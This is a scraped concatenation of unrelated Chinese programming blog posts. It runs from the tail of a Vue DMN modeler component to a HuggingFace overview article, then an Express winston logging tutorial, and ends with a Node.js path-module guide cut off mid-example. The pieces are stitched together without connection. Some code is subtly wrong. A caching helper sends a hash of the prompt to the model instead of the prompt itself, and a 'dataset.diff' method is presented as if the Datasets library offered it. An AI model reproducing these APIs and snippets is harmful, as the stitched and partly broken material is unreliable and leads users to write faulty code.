        console.error('创建 DMN Modeler 失败:', err)
        this.$message.error('创建决策表建模器失败: ' + (err.message || '未知错误'))
        this.initializing = false
        this.isInitialized = false
        this.initPromise = null
        throw err
      }
    },

    async ensureModelerReady() {
      debugger
      if (this.isInitialized && this.dmnModeler && typeof this.dmnModeler.get === 'function') {
        return true
      }
      if (!this.initializing || !this.initPromise) {
        try {
          await this.initModeler()
        } catch (err) {
          console.error('重新初始化决策表建模器失败:', err)
          return false
        }
      }
      if (this.initPromise) {
        try {
          await this.initPromise
        } catch (err) {
          console.error('等待决策表建模器初始化失败:', err)
          return false
        }
      }
      return this.isInitialized && this.dmnModeler && typeof this.dmnModeler.get === 'function'
    },

    // 确保XML包含必要的命名空间
    ensureDmnNamespace(xml) {
      // 检查是否包含正确的 DMN 1.3 命名空间
      // MODEL 命名空间应该是 https://www.omg.org/spec/DMN/20191111/MODEL/
      if (xml.indexOf('xmlns="https://www.omg.org/spec/DMN/20191111/MODEL/"') === -1 && 
          xml.indexOf('xmlns:dmn="https://www.omg.org/spec/DMN/20191111/MODEL/"') === -1) {
        // 如果缺少默认命名空间,尝试添加
        if (xml.indexOf('<definitions') !== -1) {
          // 替换 definitions 标签,添加默认命名空间
          xml = xml.replace(
            /<definitions([^>]*)>/,
            '<definitions$1 xmlns="https://www.omg.org/spec/DMN/20191111/MODEL/" xmlns:dmndi="http://www.omg.org/spec/DMN/20180521/DMNDI" xmlns:di="http://www.omg.org/spec/DMN/20180521/DI/" xmlns:dc="http://www.omg.org/spec/DMN/20180521/DC/">'
          )
        } else if (xml.indexOf('<dmn:definitions') !== -1) {
          // 如果使用 dmn: 前缀,也添加命名空间
          xml = xml.replace(
            /<dmn:definitions([^>]*)>/,
            '<dmn:definitions$1 xmlns:dmn="https://www.omg.org/spec/DMN/20191111/MODEL/" xmlns:dmndi="http://www.omg.org/spec/DMN/20180521/DMNDI" xmlns:di="http://www.omg.org/spec/DMN/20180521/DI/" xmlns:dc="http://www.omg.org/spec/DMN/20180521/DC/">'
          )
        }
      }
      return xml
    },

    // 从 XML 中提取第一个 decision 的 name 属性
    extractDecisionName(xml) {
      if (!xml || typeof xml !== 'string') {
        return null
      }
      try {
        if (typeof window !== 'undefined' && window.DOMParser) {
          const parser = new DOMParser()
          const doc = parser.parseFromString(xml, 'text/xml')
          const parserError = doc.getElementsByTagName('parsererror')
          if (parserError && parserError.length) {
            console.warn('DOMParser 解析 DMN XML 出错,退回正则解析')
          } else {
            // 先尝试不带命名空间的 decision
            let decisionEl = doc.getElementsByTagName('decision')[0]
            if (!decisionEl) {
              // 再尝试带命名空间的 decision
              decisionEl = doc.getElementsByTagNameNS('https://www.omg.org/spec/DMN/20191111/MODEL/', 'decision')[0]
            }
            if (decisionEl) {
              const name = decisionEl.getAttribute('name')
              if (name) {
                return name
              }
            }
          }
        }
      } catch (err) {
        console.warn('DOMParser 提取决策名称失败:', err)
      }

      // 正则后备方案,兼容单引号或双引号
      const match = xml.match(/<\s*(?:dmn:)?decision\b[^>]*\bname=['"]([^'"]+)['"]/i)
      if (match && match[1]) {
        return match[1]
      }
      return null
    },

    async saveDiagram() {
      try {
        // const ready = await this.ensureModelerReady()
        // if (!ready) {
        //   this.$message.error('决策表建模器未初始化,请稍后再试')
        //   return
        // }
        
        const modeler = this.dmnModeler
        // if (!modeler || typeof modeler.get !== 'function') {
        //   this.$message.error('决策表建模器不可用,请刷新页面后重试')
        //   return
        // }

        const { xml } = await modeler.saveXML({ 
          format: true,
          preamble: true
        })
        
        // 确保XML包含必要的命名空间
        const processedXml = this.ensureDmnNamespace(xml)
        
        // 获取决策表名称:优先读取 XML 中 decision 的 name
        let decisionName = this.extractDecisionName(processedXml)
        
        if (!decisionName) {
          try {
            const elementRegistry = modeler.get('elementRegistry')
            if (elementRegistry) {
              // 尝试从决策表中获取名称
              const decisions = elementRegistry.filter(el => el.type === 'dmn:Decision')
              if (decisions.length > 0) {
                const decision = decisions[0]
                const bo = decision.businessObject || decision
                decisionName = bo.name || bo.id || decisionName
              }
            }
          } catch (e) {
            console.warn('从 elementRegistry 获取决策表名称失败:', e)
          }
        }

        if (!decisionName) {
          decisionName = 'decision_' + Date.now()
        }
        
        // 准备部署参数
        const deployData = {
          decisionName: decisionName,
          dmnXml: processedXml,
          tenantId: '',
          description: '决策表部署'
        }
        
        // 调用部署API
        this.$message.info('正在部署决策表...')
        const response = await deployDmnTable(deployData)
        
        this.$message.success(`决策表部署成功!决策名称: ${decisionName}`)
        
        console.log('Deployment response:', response)
        // 跳转到决策表列表页面
        this.$router.push('/dmn/list')
        
      } catch (err) {
        console.error('Deployment error:', err)
        const errorMessage = err.response?.data?.message || err.message || '部署失败'
        this.$message.error('部署失败: ' + errorMessage)
      }
    },

    async downloadDiagram() {
      try {
        // const ready = await this.ensureModelerReady()
        // if (!ready) {
        //   this.$message.error('决策表建模器未初始化,请稍后再试')
        //   return
        // }
        
        const modeler = this.dmnModeler
        // if (!modeler || typeof modeler.get !== 'function') {
        //   this.$message.error('决策表建模器不可用,请刷新页面后重试')
        //   return
        // }

        const { xml } = await modeler.saveXML({ 
          format: true,
          preamble: true
        })
        // 确保XML包含必要的命名空间
        const processedXml = this.ensureDmnNamespace(xml)
        const blob = new Blob([processedXml], { type: 'application/xml' })
        FileSaver.saveAs(blob, 'decision-table.dmn')
      } catch (err) {
        this.$message.error('导出失败: ' + (err.message || '未知错误'))
      }
    },

    openFile() {
      this.$refs.fileInput.click()
    },
    
    async handleFileImport(event) {
      const file = event.target.files[0]
      if (!file) return
      
      // const ready = await this.ensureModelerReady()
      // if (!ready) {
      //   this.$message.error('决策表建模器初始化失败,请刷新页面后重试')
      //   return
      // }
      
      const reader = new FileReader()
      reader.onload = (e) => {
        try {
          const xml = e.target.result
          this.initializing = true
          const modeler = this.dmnModeler
          // if (!modeler || typeof modeler.get !== 'function') {
          //   this.initializing = false
          //   this.$message.error('决策表建模器不可用,请刷新页面后重试')
          //   return
          // }
          modeler.importXML(xml).then(() => {
            this.isInitialized = true
            this.initializing = false
            this.$message.success('文件导入成功')
          }).catch(error => {
            console.error('文件导入失败:', error)
            this.isInitialized = false
            this.initializing = false
            this.$message.error('文件导入失败: ' + (error.message || '未知错误'))
          })
        } catch (error) {
          console.error('文件读取失败:', error)
          this.initializing = false
          this.$message.error('文件读取失败: ' + (error.message || '未知错误'))
        }
      }
      reader.readAsText(file)
      
      // 清空文件输入
      event.target.value = ''
    }
  }
}
</script>

<style scoped>
.dmn-modeler-container {
  width: 100%;
  height: 100vh;
  min-width: 900px;
  display: flex;
  flex-direction: column;
}

/* 头部样式 */
.dmn-header {
  background-color: #f5f7fa;
  border-bottom: 1px solid #e4e7ed;
  padding: 0 20px;
  height: 60px !important;
  display: flex;
  align-items: center;
}

.header-content {
  width: 100%;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.header-title h3 {
  margin: 0;
  color: #303133;
  font-size: 18px;
  font-weight: 500;
}

.header-actions {
  display: flex;
  gap: 15px;
  flex-wrap: wrap;
}

.header-actions .el-button-group {
  margin-right: 0;
}

.header-actions .el-button-group .el-button {
  margin-right: 0;
}

/* 主内容区域样式 */
.dmn-main {
  padding: 0;
  height: calc(100vh - 60px);
  overflow: hidden;
}

.dmn-content {
  display: flex;
  height: 100%;
  width: 100%;
}

/* 画布容器样式 */
.canvas-container {
  flex: 1;
  position: relative;
  display: flex;
  flex-direction: column;
  min-width: 0; /* 允许 flex 子元素缩小 */
}

.dmn-canvas {
  width: 100%;
  height: 100%;
  border: 1px solid #dcdfe6;
  background-color: #fff;
}

</style>

最终页面展示

dmn1.png

把大模型装进口袋:HuggingFace如何让AI民主化成为现实

如果你在2025年还觉得大模型是科技巨头的专利,那你可能错过了AI民主化最关键的一步——而这一步,是由一个名为HuggingFace的平台完成的。

从“实验室珍品”到“开发者标配”的蜕变

三年前,想要用上最先进的大模型是什么体验?

你需要先读透几百页的论文,配置复杂的CUDA环境,处理各种依赖冲突,最后在昂贵的GPU上战战兢兢地运行——结果很可能因为一个版本不兼容而前功尽弃。

今天呢?打开Python,三行代码:

from transformers import pipeline
chatbot = pipeline("text-generation", model="Qwen/Qwen2.5-7B")
response = chatbot("帮我写一段产品介绍")

一个能对话、能写作、能编程的智能助手就在你的笔记本电脑上跑起来了。这个转变的核心推手,正是HuggingFace。

但HuggingFace的价值远不止“让调用模型变简单”。它真正做的,是重构了整个AI开发的价值链

第一部分:为什么AI世界需要一个“模型仓库”?

1.1 大模型的“寒武纪大爆发”与随之而来的混乱

2022-2024年,我们见证了大模型的“寒武纪大爆发”:

  • OpenAI的GPT系列从3.5迭代到4o
  • 谷歌的PaLM、Gemini接连发布
  • Meta开源了Llama系列,彻底点燃了开源社区的激情
  • 中国的阿里通义、百度文心、智谱ChatGLM、深度求索DeepSeek等百花齐放

但繁荣背后是巨大的混乱:每个框架都有自己的API,每个模型都有自己的权重格式,每篇论文都有自己的预处理步骤。

开发者面临的选择困境:我是该用PyTorch还是TensorFlow?该用HuggingFace Transformers还是直接调用原厂SDK?模型权重是.safetensors格式还是.bin格式?

这种碎片化严重阻碍了技术的普及。就像智能手机早期,每个手机厂商都有自己的充电接口——直到Type-C统一了天下。

1.2 HuggingFace的“统一场论”

HuggingFace做了一件看似简单却极具远见的事:为所有大模型定义了一套通用接口

这就像USB协议为所有外设定义了通信标准。无论底层是Transformer、RNN还是CNN,无论模型来自谷歌、Meta还是中国的创业公司,在HuggingFace的世界里,它们都遵循同样的调用规范。

# 加载任何模型,都是同样的三行代码
from transformers import AutoModel, AutoTokenizer

model = AutoModel.from_pretrained("模型名称")
tokenizer = AutoTokenizer.from_pretrained("模型名称")

这种统一带来的效率提升是指数级的。开发者不再需要为每个新模型重学一套API,企业不再需要为每个框架维护一套基础设施。

第二部分:Transformers库——不只是加载模型的工具

2.1 “自动”背后的智能

表面上看,AutoModel.from_pretrained()只是加载模型。但在这行简单的代码背后,是一个复杂的智能系统:

自动架构检测:当你传入"bert-base-chinese"时,系统会自动:

  1. 从HuggingFace Hub下载模型配置
  2. 根据配置中的model_type字段识别这是BERT架构
  3. 动态加载对应的模型类
  4. 应用正确的权重初始化方式

自动设备管理:当你有一台带24GB显存的4090和64GB内存的电脑时:

model = AutoModel.from_pretrained("Qwen/Qwen2.5-14B", device_map="auto")

这行代码会自动将模型的不同层分配到GPU和CPU上,甚至实现层间流水线,让大模型能在“小”设备上运行。

自动量化支持:当模型太大时:

from transformers import BitsAndBytesConfig
quant_config = BitsAndBytesConfig(load_in_4bit=True)
model = AutoModel.from_pretrained("模型名称", quantization_config=quant_config)

自动将FP32权重转换为INT4,显存占用减少75%,性能损失不到5%。

2.2 Pipeline:从“函数调用”到“任务抽象”

如果说AutoModel是统一了模型的“加载方式”,那么pipeline则是统一了模型的“使用方式”。

传统AI开发中,每个任务都是一套独立流程:

  • 文本分类:分词→编码→模型推理→Softmax→取最大值
  • 命名实体识别:分词→编码→模型推理→CRF解码→实体合并
  • 文本生成:分词→编码→自回归生成→解码→后处理

pipeline把这些流程全部封装:

# 所有任务,同一套API
classifier = pipeline("text-classification")  # 文本分类
ner = pipeline("ner")                         # 命名实体识别
generator = pipeline("text-generation")       # 文本生成
translator = pipeline("translation")          # 翻译

更重要的是,pipeline内置了最佳实践

  • 自动处理填充和截断
  • 自动批处理提升性能
  • 自动设备管理
  • 错误处理和重试机制

2.3 Tokenizer的艺术:从字符到向量的魔法

大模型不理解文字,只理解数字。将文字转换为数字的过程就是分词(Tokenization)。这看似简单,实则充满玄机。

中文分词的三种流派

# 1. 字分词(BERT风格)
tokenizer = AutoTokenizer.from_pretrained("bert-base-chinese")
tokens = tokenizer.tokenize("自然语言处理")  # ['自', '然', '语', '言', '处', '理']

# 2. 词分词(GPT风格)
tokenizer = AutoTokenizer.from_pretrained("gpt2-chinese")
tokens = tokenizer.tokenize("自然语言处理")  # ['自然', '语言', '处理']

# 3. 子词分词(BPE/WordPiece)
tokenizer = AutoTokenizer.from_pretrained("xlm-roberta-base")
tokens = tokenizer.tokenize("natural language processing")  # ['natural', 'Ġlanguage', 'Ġprocessing']

每种分词方式都有其优缺点:

  • 字分词:词表小(2万字左右),但语义粒度粗
  • 词分词:语义粒度细,但词表大(5万-50万),OOV(未登录词)问题严重
  • 子词分词:平衡了两者,但需要复杂的训练算法

HuggingFace的Tokenizer最厉害的地方在于:它让开发者完全不用关心这些细节。无论底层用什么分词算法,API都是一样的。

第三部分:Datasets库——AI的“数据加油站”

3.1 数据:AI的石油,也是最深的护城河

在AI领域,有一个共识:数据质量决定模型上限。但获取高质量数据是极其昂贵的:

  1. 标注成本:一个情感分析数据集,每条数据标注成本0.5元,100万条就是50万元
  2. 清洗成本:原始数据中可能有30%的噪声,清洗又是一大笔开销
  3. 合规成本:用户数据涉及隐私,需要脱敏、加密、合规审查

HuggingFace Datasets的价值在于:它建立了一个数据共享经济

3.2 流式处理:让大数据集在“小内存”中运行

传统的数据加载方式:

import pandas as pd
# 加载100GB的文本数据?直接内存爆炸
data = pd.read_csv("100gb_text.csv")

Datasets的流式加载:

from datasets import load_dataset
# 流式加载,内存中只保留当前批次
dataset = load_dataset("big_corpus", streaming=True)
for batch in dataset.iter(batch_size=1000):
    process(batch)  # 处理当前批次

更智能的是内存映射(Memory Mapping)

# 数据集看起来像在内存中,实际在磁盘上
dataset = load_dataset("big_corpus")
# 首次访问会慢,后续访问有缓存

3.3 数据版本控制:AI的“Git”

数据不是静态的。今天准确的数据,明天可能就过时了。数据版本控制因此变得至关重要。

Datasets库内置了版本控制:

# 加载特定版本
dataset_v1 = load_dataset("my_dataset", revision="v1.0")
dataset_v2 = load_dataset("my_dataset", revision="v2.0")

# 比较不同版本
diff = dataset_v1.diff(dataset_v2)

这解决了AI开发中的一个大痛点:可复现性。三年前训练的模型,今天还能用同样的数据重新训练吗?有了数据版本控制,答案是可以。

第四部分:HuggingFace Hub——不只是模型仓库

4.1 模型发现的“App Store”

HuggingFace Hub上有超过50万个模型。如何找到你需要的?Hub提供了多维度的发现机制:

按任务筛选:文本分类、文本生成、图像分类、语音识别... 按语言筛选:中文、英文、多语言... 按许可证筛选:商用、研究用、开源... 按大小筛选:<100M、100M-1B、>1B... 按流行度筛选:下载量、点赞数、近期活跃度

更重要的是**模型卡片(Model Card)**系统。每个模型都有详细的文档:

  • 训练数据是什么
  • 在哪些基准测试上表现如何
  • 有什么已知缺陷(偏见、幻觉等)
  • 如何使用示例代码

4.2 Spaces:零后端部署AI应用

传统AI应用部署:

  1. 购买云服务器
  2. 配置GPU环境
  3. 部署模型服务
  4. 开发前端界面
  5. 配置负载均衡
  6. 监控和运维

Spaces让这一切变得简单:

import gradio as gr
from transformers import pipeline

generator = pipeline("text-generation", "gpt2")

def generate_text(prompt):
    return generator(prompt, max_length=100)[0]['generated_text']

gr.Interface(fn=generate_text, inputs="text", outputs="text").launch()

上传到Spaces,你就得到了:

  • 一个永久在线的Web应用
  • 免费的GPU资源(有限时长)
  • 自动HTTPS证书
  • 访问量统计
  • 社区反馈系统

4.3 协作与社区:开源AI的飞轮效应

HuggingFace最强大的不是技术,而是社区

开源贡献的飞轮

  1. 研究者开源模型 → 2. 开发者使用并反馈问题 → 3. 研究者改进模型 → 4. 更多开发者加入

企业参与的共赢

  • 大公司开源“基座模型”
  • 中小企业在基座上微调“垂直模型”
  • 创业公司基于模型构建应用
  • 所有人都从生态增长中受益

第五部分:实战指南——从实验到生产

5.1 模型选择:没有最好,只有最合适

选择模型的决策框架:

场景一:聊天机器人

# 需要较强的推理和对话能力
# 推荐:Qwen、ChatGLM、DeepSeek
model = "Qwen/Qwen2.5-7B-Instruct"

场景二:文本嵌入

# 需要将文本转换为向量
# 推荐:BGE、text2vec
model = "BAAI/bge-large-zh"

场景三:代码生成

# 需要理解编程语言
# 推荐:CodeLlama、DeepSeek-Coder
model = "codellama/CodeLlama-7b"

场景四:边缘部署

# 需要在资源受限设备上运行
# 推荐:量化后的小模型
model = "microsoft/phi-2"  # 仅2.7B参数

5.2 性能优化:让推理速度飞起来

技巧一:量化

from transformers import AutoModelForCausalLM, BitsAndBytesConfig
import torch

bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_compute_dtype=torch.float16,
    bnb_4bit_quant_type="nf4",
)

model = AutoModelForCausalLM.from_pretrained(
    "模型名称",
    quantization_config=bnb_config,
)
# 显存减少75%,速度提升2-3倍

技巧二:缓存注意力(KV Cache)

# 自回归生成时,缓存之前的注意力结果
generator = pipeline("text-generation", model=model)
result = generator(
    prompt,
    max_length=100,
    use_cache=True,  # 启用KV缓存
)
# 速度提升30-50%

技巧三:批处理

# 同时处理多个请求
prompts = ["提示1", "提示2", "提示3", "提示4"]
results = generator(prompts, batch_size=4)
# GPU利用率从30%提升到80%

5.3 成本控制:让AI用得起

策略一:分层处理

# 简单问题用小模型,复杂问题用大模型
def smart_router(question):
    if is_simple_question(question):
        return small_model(question)  # 免费或低成本
    else:
        return large_model(question)  # 高成本但能力强

策略二:缓存结果

from functools import lru_cache
import hashlib

@lru_cache(maxsize=10000)
def get_cached_response(prompt):
    # 相同提示词直接返回缓存
    return model(prompt)

def generate_with_cache(prompt):
    prompt_hash = hashlib.md5(prompt.encode()).hexdigest()
    return get_cached_response(prompt_hash)

策略三:提前终止

# 当生成质量足够好时提前停止
def generate_with_early_stopping(prompt, quality_threshold=0.95):
    for i in range(max_length):
        token = generate_next_token()
        current_quality = calculate_quality()
        if current_quality > quality_threshold:
            break  # 提前终止,节省计算
    return generated_text

第六部分:中国开发者的特别指南

6.1 网络问题:不止是“科学上网”

对于中国开发者,访问HuggingFace的最大障碍是网络。解决方案:

方案一:使用国内镜像

# 设置环境变量
export HF_ENDPOINT=https://hf-mirror.com

# 或者在代码中设置
import os
os.environ['HF_ENDPOINT'] = 'https://hf-mirror.com'

方案二:ModelScope(魔搭社区)

# 阿里云提供的国内替代
from modelscope import AutoModelForCausalLM, AutoTokenizer

model = AutoModelForCausalLM.from_pretrained("qwen/Qwen2.5-7B")
# 完全兼容HuggingFace API,速度更快

方案三:提前缓存

# 在有网络时下载所有依赖
from huggingface_hub import snapshot_download

# 下载模型和所有依赖
snapshot_download(
    repo_id="Qwen/Qwen2.5-7B",
    local_dir="./local_qwen",
    ignore_patterns=["*.msgpack", "*.h5"],  # 跳过不必要文件
)

6.2 中文优化模型推荐

通用对话

  • Qwen系列(阿里通义):中文优化好,开源协议友好
  • ChatGLM系列(智谱):中文能力强,推理速度快
  • DeepSeek(深度求索):数学和推理能力强

文本嵌入

  • BGE系列(智源):中文文本嵌入SOTA
  • text2vec(郎帅):轻量级,适合部署

代码生成

  • DeepSeek-Coder:中文代码注释理解好
  • CodeQwen:基于Qwen的代码模型

6.3 合规与安全:在中国做AI必须考虑的

数据不出境:使用国内模型或本地部署 内容审核:增加敏感词过滤层 用户隐私:对话记录加密存储 备案要求:AI生成内容需标注“由AI生成”

第七部分:未来展望——HuggingFace的下一个五年

7.1 多模态统一:文本、图像、语音的融合

当前的多模态模型还是“拼凑式”的:文本一个模型,图像一个模型,语音一个模型。未来趋势是真正的多模态统一模型

HuggingFace已经在布局:

# 未来的API可能是这样的
from transformers import MultiModalModel

model = MultiModalModel.from_pretrained("unified-model-v1")

# 同时处理文本、图像、语音
result = model({
    "text": "描述这张图片",
    "image": image_data,
    "audio": audio_data
})

7.2 智能体(Agent)生态:从工具到助手

大模型本身只是“大脑”,智能体是“大脑+手脚”。

HuggingFace可能会推出:

  • 工具调用标准化:统一各API的调用方式
  • 工作流编排:可视化构建智能体流程
  • 记忆系统:长期记忆和短期记忆管理
  • 自我反思:智能体评估和改进自身行为

7.3 边缘AI:让大模型在手机上运行

当前限制:70B模型需要8张A100 未来趋势:通过模型压缩、蒸馏、专用芯片,让7B模型在手机上流畅运行

技术路径:

  1. 模型蒸馏:大模型→小模型,保持90%能力
  2. 稀疏化:移除不重要的神经元
  3. 硬件协同:专用AI芯片(NPU)普及

结语:我们正站在AI民主化的拐点上

回望AI发展的历史:

  • 2012年,AlexNet让计算机视觉走出实验室
  • 2017年,Transformer让自然语言处理迎来突破
  • 2022年,ChatGPT让大模型走进公众视野
  • 2024年,开源模型让技术不再被巨头垄断

而HuggingFace,正是在这个关键时刻,为整个生态提供了基础设施。

它做的不是最前沿的研究,也不是最炫酷的产品,而是最基础、最必要、最容易被忽视的工程工作:统一接口、标准化流程、建立社区。

现在,大模型的壁垒已经从“能不能做”变成了“想不想做”。任何一个有Python基础的开发者,都能在几天内搭建一个可用的AI应用。任何一个中小企业,都能用有限的预算部署自己的智能客服。

这就是技术民主化的力量:当工具变得足够简单,创造力就会从中心流向边缘,从巨头流向大众。

所以,如果你还在观望,还在犹豫,还在觉得“AI离我很远”,那么现在就是最好的起点。打开HuggingFace,从第一个pipeline()调用开始。

因为未来不是等来的,是构建出来的。而构建未来的工具,现在就在你手中。

水平有限,还不能写到尽善尽美,希望大家多多交流,跟春野一同进步!!!

企业级全栈项目(14) winston记录所有日志

winston 是 Node.js 生态中最流行的日志库,通常配合 winston-daily-rotate-file 使用,以实现按天切割日志文件(防止一个日志文件无限膨胀到几个GB)。 我们将实现以下目标:

  1. 访问日志:记录所有 HTTP 请求(时间、IP、URL、Method、状态码、耗时)。
  2. 错误日志:记录所有的异常和报错堆栈。
  3. 日志切割:每天自动生成新文件,并自动清理旧日志(如保留30天)。
  4. 分环境处理:开发环境在控制台打印彩色日志,生产环境写入文件。

第一步:安装依赖

npm install winston winston-daily-rotate-file

第二步:封装 Logger 工具类 (src/utils/logger.js)

我们需要创建一个全局单例的 Logger 对象。

import winston from 'winston'
import 'winston-daily-rotate-file'
import path from 'path'

// 定义日志目录
const logDir = 'logs'

// 定义日志格式
const { combine, timestamp, printf, json, colorize } = winston.format

// 自定义控制台打印格式
const consoleFormat = printf(({ level, message, timestamp, ...metadata }) => {
  let msg = `${timestamp} [${level}]: ${message}`
  if (Object.keys(metadata).length > 0) {
    msg += JSON.stringify(metadata)
  }
  return msg
})

// 创建 Logger 实例
const logger = winston.createLogger({
  level: 'info', // 默认日志级别
  format: combine(
    timestamp({ format: 'YYYY-MM-DD HH:mm:ss' }),
    json() // 文件中存储 JSON 格式,方便后续用 ELK 等工具分析
  ),
  transports: [
    // 1. 错误日志:只记录 error 级别的日志
    new winston.transports.DailyRotateFile({
      dirname: path.join(logDir, 'error'),
      filename: 'error-%DATE%.log',
      datePattern: 'YYYY-MM-DD',
      level: 'error',
      zippedArchive: true, // 压缩旧日志
      maxSize: '20m',      // 单个文件最大 20MB
      maxFiles: '30d'      // 保留 30 天
    }),
    
    // 2. 综合日志:记录 info 及以上级别的日志 (包含访问日志)
    new winston.transports.DailyRotateFile({
      dirname: path.join(logDir, 'combined'),
      filename: 'combined-%DATE%.log',
      datePattern: 'YYYY-MM-DD',
      zippedArchive: true,
      maxSize: '20m',
      maxFiles: '30d'
    })
  ]
})

// 如果不是生产环境,也在控制台打印,并开启颜色
if (process.env.NODE_ENV !== 'production') {
  logger.add(new winston.transports.Console({
    format: combine(
      colorize(),
      timestamp({ format: 'YYYY-MM-DD HH:mm:ss' }),
      consoleFormat
    )
  }))
}

export default logger

第三步:编写 HTTP 访问日志中间件 (src/middleware/httpLogger.js)

我们需要一个中间件,像保安一样,记录进出的每一个请求。

import logger from '../utils/logger.js'

export const httpLogger = (req, res, next) => {
  // 1. 记录请求开始时间
  const start = Date.now()

  // 2. 监听响应完成事件 (finish)
  res.on('finish', () => {
    // 计算耗时
    const duration = Date.now() - start
    
    // 获取 IP (兼容 Nginx 代理)
    const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
    
    // 组装日志信息
    const logInfo = {
      method: req.method,
      url: req.originalUrl,
      status: res.statusCode,
      duration: `${duration}ms`,
      ip: ip,
      userAgent: req.headers['user-agent'] || ''
    }

    // 根据状态码决定日志级别
    if (res.statusCode >= 500) {
      logger.error('HTTP Request Error', logInfo)
    } else if (res.statusCode >= 400) {
      logger.warn('HTTP Client Error', logInfo)
    } else {
      logger.info('HTTP Access', logInfo)
    }
  })

  next()
}

第四步:集成到入口文件 (app.js)

我们需要把 httpLogger 放在所有路由的最前面,把错误记录放在所有路由的最后面

import express from 'express'
import logger from './utils/logger.js'         // 引入 logger
import { httpLogger } from './middleware/httpLogger.js' // 引入中间件
import HttpError from './utils/HttpError.js'

// ... 其他引入 (helmet, cors 等)

const app = express()

// ==========================================
// 1. 挂载访问日志中间件 (必须放在最前面)
// ==========================================
app.use(httpLogger)

// ... 其他中间件 (json, cors, helmet) ...

// ... 你的路由 (routes) ...
// app.use('/api/admin', adminRouter)
// app.use('/api/app', appRouter)


// ==========================================
// 2. 全局错误处理中间件 (必须放在最后)
// ==========================================
app.use((err, req, res, next) => {
  // 记录错误日志到文件
  logger.error(err.message, {
    stack: err.stack, // 记录堆栈信息,方便排查 Bug
    url: req.originalUrl,
    method: req.method,
    ip: req.ip
  })

  // 如果是我们自定义的 HttpError,返回对应的状态码
  if (err instanceof HttpError) {
    return res.status(err.code).json({
      code: err.code,
      message: err.message
    })
  }

  // 其它未知错误,统一报 500
  res.status(500).json({
    code: 500,
    message: '服务器内部错误,请联系管理员'
  })
})

const PORT = 3000
app.listen(PORT, () => {
  logger.info(`Server is running on port ${PORT}`) // 使用 logger 打印启动信息
})

第五步:效果演示

1. 启动项目

nodemon app.js

会发现项目根目录下多了一个 logs 文件夹,里面有 combined 和 error 两个子文件夹。

2. 发起一个正常请求 (GET /api/app/product/list)

  • 控制台:显示绿色的日志 [info]: HTTP Access {"method":"GET", "status": 200 ...}
  • 文件 (logs/combined/combined-2023-xx-xx.log):写入了一行 JSON 记录。

3. 发起一个错误请求 (密码错误 400 或 代码报错 500)

  • 文件 (logs/error/error-2023-xx-xx.log):会自动记录下详细的错误堆栈 stack,这对于排查线上问题至关重要,你再也不用盯着黑乎乎的控制台或者猜测报错原因了。

总结

通过引入 winston:

  1. 自动化:日志自动按天分割,自动压缩,不用担心磁盘写满。
  2. 结构化:日志以 JSON 格式存储,方便以后接入 ELK (Elasticsearch, Logstash, Kibana) 做可视化监控。
  3. 可追溯:任何报错都有时间、堆栈和请求参数,运维和排查效率提升 10 倍。

Node.js 工具模块详解

Node.js 提供了丰富的内置模块,帮助开发者高效处理各种常见任务。本文将详细介绍五个重要的工具模块:path(路径处理)、url(URL解析)、querystring(查询字符串)、util(工具函数)和 os(操作系统信息)。

一、path 模块:路径处理

path 模块提供了用于处理和转换文件路径的实用工具。它最大的优势是跨平台兼容性,能够自动处理不同操作系统的路径分隔符(Windows 使用 \,Unix/Linux/macOS 使用 /)。

1.1 引入模块

const path = require('path');

1.2 常用方法

path.join([...paths]) - 连接路径片段

将多个路径片段连接成一个完整的路径,自动处理路径分隔符和相对路径。

const path = require('path');

// 基本用法
console.log(path.join('/users', 'john', 'docs', 'file.txt'));
// Unix/Linux/macOS: /users/john/docs/file.txt
// Windows: 如果第一个参数是绝对路径,结果取决于平台

// 跨平台推荐用法(使用相对路径)
console.log(path.join('users', 'john', 'docs', 'file.txt'));
// 所有平台: users/john/docs/file.txt(相对路径)

// 使用 __dirname 构建绝对路径
console.log(path.join(__dirname, 'docs', 'file.txt'));
// 输出: 当前文件所在目录/docs/file.txt

// 处理相对路径
console.log(path.join('/foo', 'bar', 'baz/asdf', 'quux', '..'));
// 输出: /foo/bar/baz/asdf

// 处理当前目录和父目录
console.log(path.join(__dirname, '..', 'config', 'app.json'));
// 输出: 当前目录的父目录下的 config/app.json

path.resolve([...paths]) - 解析为绝对路径

将路径或路径片段解析为绝对路径。如果所有路径片段都是相对路径,则相对于当前工作目录解析。

const path = require('path');

// 从右到左处理路径,直到构造出绝对路径
console.log(path.resolve('foo/bar', '/tmp/file/', '..', 'a/../subfile'));
// 输出: /tmp/subfile

// 如果所有路径都是相对路径,则相对于当前工作目录
console.log(path.resolve('wwwroot', 'static_files/png/', '../gif/image.gif'));
// 如果当前目录是 /home/myself/node,则输出:
// /home/myself/node/wwwroot/static_files/gif/image.gif

// 常用:解析相对于当前文件的路径
const configPath = path.resolve(__dirname, 'config.json');

path.basename(path[, ext]) - 获取文件名

返回路径的最后一部分(文件名)。可选的 ext 参数用于去除文件扩展名。

const path = require('path');

console.log(path.basename('/foo/bar/baz/asdf/quux.html'));
// 输出: 'quux.html'

console.log(path.basename('/foo/bar/baz/asdf/quux.html', '.html'));
// 输出: 'quux'

// Windows 示例
console.log(path.basename('C:\\temp\\myfile.html'));
// 输出: 'myfile.html'

path.dirname(path) - 获取目录名

返回路径的目录部分。

const path = require('path');

console.log(path.dirname('/foo/bar/baz/asdf/quux.html'));
// 输出: '/foo/bar/baz/asdf'

console.log(path.dirname('/foo/bar/baz/asdf/quux'));
// 输出: '/foo/bar/baz/asdf'

path.extname(path) - 获取扩展名

返回路径中文件的扩展名(包括点号)。

const path = require('path');

console.log(path.extname('index.html'));
// 输出: '.html'

console.log(path.extname('index.coffee.md'));
// 输出: '.md'

console.log(path.extname('index.'));
// 输出: '.'

console.log(path.extname('index'));
// 输出: ''

path.parse(path) - 解析路径对象

将路径字符串解析为一个对象,包含 rootdirbaseextname 等属性。

const path = require('path');

const parsed = path.parse('/home/user/dir/file.txt');
console.log(parsed);
// 输出:
// {
//   root: '/',
//   dir: '/home/user/dir',
//   base: 'file.txt',
//   ext: '.txt',
//   name: 'file'
// }

// Windows 示例
const winParsed = path.parse('C:\\path\\dir\\file.txt');
console.log(winParsed);
// 输出:
// {
//   root: 'C:\\',
//   dir: 'C:\\path\\dir',
//   base: 'file.txt',
//   ext: '.txt',
//   name: 'file'
// }

path.format(pathObject) - 格式化路径对象

path.parse() 相反,将路径对象格式化为路径字符串。

const path = require('path');

const pathObject = {
  root: '/',
